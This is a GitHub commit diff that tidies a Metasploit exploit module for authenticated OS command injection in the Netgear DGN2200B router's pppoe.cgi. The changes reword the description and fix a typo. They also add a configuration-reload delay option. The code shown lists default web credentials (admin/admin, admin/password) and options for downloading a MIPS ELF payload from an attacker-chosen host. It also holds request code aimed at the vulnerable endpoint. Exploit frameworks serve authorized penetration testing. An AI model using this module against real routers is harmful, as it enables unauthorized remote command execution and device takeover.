Skip to content

Commit 19a158d

Browse files
author
jvazquez-r7
committed
Do final cleanup for netgear_dgn2200b_pppoe_exec
1 parent c1819e6 commit 19a158d

File tree

1 file changed

+11
-11
lines changed

1 file changed

+11
-11
lines changed

modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -19,13 +19,13 @@ def initialize(info = {})
1919
super(update_info(info,
2020
'Name' => 'Netgear DGN2200B pppoe.cgi Remote Command Execution',
2121
'Description' => %q{
22-
Some Netgear Routers are vulnerable to an authenticated OS command injection.
23-
Default credentials for the web interface are admin/admin or admin/password.
24-
Since it is a blind os command injection vulnerability, there is no output for the
25-
executed command when using the cmd generic payload. A ping command against a
26-
controlled system could be used for testing purposes.
27-
28-
WARNING: We overwrite parts of the PPPOE configuration! Backup it prior using this module!
22+
Some Netgear Routers are vulnerable to an authenticated OS command injection
23+
on their web interface. Default credentials for the web interface are admin/admin
24+
or admin/password. Since it is a blind os command injection vulnerability, there
25+
is no output for the executed command when using the cmd generic payload. A ping
26+
command against a controlled system could be used for testing purposes. This module
27+
overwrites parts of the PPOE configuration, while the module tries to restore it
28+
after exploitation configuration backup is recommended.
2929
},
3030
'Author' =>
3131
[
@@ -71,7 +71,8 @@ def initialize(info = {})
7171
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
7272
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
7373
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
74-
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 45])
74+
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
75+
OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45])
7576
], self.class)
7677
end
7778

@@ -96,7 +97,7 @@ def grab_config(user,pass)
9697
end
9798
if [200, 301, 302].include?(res.code)
9899
if res.body =~ /pppoe_username/
99-
print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
100+
print_good("#{rhost}:#{rport} - Successfully downloaded the configuration")
100101
else
101102
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
102103
end
@@ -157,7 +158,6 @@ def request(cmd,user,pass,uri)
157158
#&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05
158159
#&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0
159160
#&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0
160-
161161
res = send_request_cgi(
162162
{
163163
'uri' => uri,
@@ -222,7 +222,7 @@ def exploit
222222
uri = '/pppoe.cgi'
223223
user = datastore['USERNAME']
224224
pass = datastore['PASSWORD']
225-
@timeout = datastore['HTTP_DELAY']
225+
@timeout = datastore['RELOAD_CONF_DELAY']
226226

227227
#
228228
# testing Login

0 commit comments

Comments
 (0)